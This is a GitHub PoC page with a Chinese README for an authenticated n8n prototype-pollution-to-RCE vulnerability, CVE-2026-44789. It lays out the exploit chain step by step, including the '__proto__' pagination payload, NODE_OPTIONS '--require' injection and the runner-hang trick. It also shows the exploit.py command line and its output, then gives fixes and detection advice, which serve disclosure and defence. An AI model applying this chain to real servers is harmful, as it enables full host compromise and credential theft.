BiiTts/CVE-2026-44789-n8n-PrototypePollution-RCE
GitHub: BiiTts/CVE-2026-44789-n8n-PrototypePollution-RCE
针对 n8n 原型污染漏洞 CVE-2026-44789 的端到端 PoC 项目,包含实验环境与自动化利用脚本,演示从分页参数污染到远程代码执行的完整利用链。
Stars: 0 | Forks: 0
# CVE-2026-44789 — n8n HTTP Request Node 分页原型污染 → RCE
| | |
|---|---|
| **CVE** | CVE-2026-44789 |
| **安全公告** | [GHSA-c8xv-5998-g76h](https://github.com/n8n-io/n8n/security/advisories/GHSA-c8xv-5998-g76h) |
| **受影响版本** | `< 1.123.43`, `2.0.0-rc.0 … < 2.20.7`, `2.21.0 … < 2.22.1` |
| **修复版本** | `1.123.43` / `2.20.7` / `2.22.1` |
| **分类** | CWE-1321 (原型污染) → CWE-94 (RCE) |
| **CVSS** | `9.4` (CVSS 4.0) / 严重 |
| **认证要求** | 需认证(具备工作流创建/修改权限) |
| **状态** | **已确认** — 针对 `n8nio/n8n:1.123.42` 完成了端到端的完整复现 |
## 1. 污染原语
`packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts`,分页模式
`updateAParameterInEachRequest`:
```
paginationData.request[parameter.type]![parameterName] = parameterValue;
```
`parameter.type`、`parameterName` 和 `parameterValue` 均来自工作流
JSON(由攻击者控制)。当 **`parameter.type = "__proto__"`** 时,
`paginationData.request["__proto__"]` 会解析为 `Object.prototype`,因此该
赋值操作会执行 `Object.prototype[parameterName] = parameterValue` —— 在 n8n 服务器进程中引发了一次**全局**
原型污染。
修复方案对 `paginationData.request` 使用了 `Object.create(null)`,因此 `["__proto__"]`
会变成一个普通的(null 原型)键,而不再是原型。
## 2. RCE 利用链
`packages/cli/src/task-runners/task-runner-process-js.ts` 启动了 JS task runner:
```
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
```
Node 的 `normalizeSpawnArguments` 使用 **`for (const key in env)`** 构建子进程环境变量,
这会枚举**继承的**可枚举属性。
因此,污染 `Object.prototype.NODE_OPTIONS = "--require=/path/evil.js"` 会将其
泄露到启动的 runner 环境变量中。子进程是 `node`,它会遵循
`NODE_OPTIONS` 的设置,因而在启动时 `--require` 攻击者的文件 → 以 n8n 服务用户的身份在 Code-node 沙箱**外部**
执行代码。
该 runner 在启动时即被运行,但每当
进程退出时,其生命周期机制都会重新启动它(`onProcessExit → start()`)。攻击者可以通过使用 Code node 挂起 runner(task-timeout / OOM 会将其杀死),从而在污染发生*之后*强制其重启。
## 3. 端到端利用链(`exploit.py` 的执行流程)
```
1. write /tmp/evil.js via Set → Convert to File → Read/Write Files nodes
2. hang the task runner via a Code node ( while(true){} ) [BEFORE polluting]
3. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node ( type="__proto__" )
4. the hung runner times out → main process respawns 'node' → inherits NODE_OPTIONS
→ require('/tmp/evil.js') → RCE
```
执行顺序至关重要:污染操作会将 `NODE_OPTIONS` 变为 `Object.prototype` 上一个可枚举且非自身的键,
这会导致 n8n 的 TypeORM 层出错(在实体上进行 `for…in` 遍历时),
从而破坏工作流的持久化。因此,在污染生效之前,runner 必须已经处于挂起状态;
这样在重启时就会加载到被污染的环境变量。
## 4. 复现
```
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42, runners enabled to mirror 2.x
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# 命令输出出现在 n8n 主机上:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
#
```
`exploit.py` 仅使用 Python 标准库,并端到端地驱动 n8n REST API
(所有者设置/登录 → 部署工作流 → 触发利用链)。
观测结果:
```
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
```
`uid=1000(node)` 是 runner 的服务账户,输出的是实时的 `id`/`uname`
状态 —— 这是真实的命令执行,而不是输入回显。
## 5. 影响
任何能够创建或修改工作流的已认证用户,都能在 n8n 宿主机上执行操作系统命令,
逃逸出 Code-node 沙箱 —— 这将导致自动化服务器及其所能访问的
所有凭证/系统遭到全面入侵。
## 6. 修复建议
* 升级至 **n8n ≥ 1.123.43 / 2.20.7 / 2.22.1**(分页对象使用
`Object.create(null)` 构建,阻止了 `__proto__` 的写入)。
* 纵深防御:将工作流的创建/修改权限限制为受信任的用户;runner 已经
通过 `--disable-proto=delete` / `--disallow-code-generation-from-strings` 进行了强化,
但这些措施保护的是 *runner*,而不是发生污染的 *主* 进程。
## 7. 检测
标记那些 HTTP Request 分页参数中使用 `__proto__` / `constructor` / `prototype` 作为 `type` 值的工作流,
并留意 n8n/TypeORM 日志中作为实体属性错误出现的 `NODE_OPTIONS`。
有关污染原语、Node 的 `for…in` 环境变量行为、
runner 生命周期以及补丁的详细信息,请参阅 [`ANALYSIS.md`](ANALYSIS.md)。
* 作者:**Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts)
* 漏洞致谢属于最初的报告者/供应商安全公告;
此处的污染→RCE 利用链属于独立研究。仅供授权的安全测试使用。
标签:GNU通用公共许可证, Go语言工具, MITM代理, n8n, Node.js, PoC, 原型污染, 暴力破解, 编程工具, 请求拦截, 远程代码执行, 逆向工具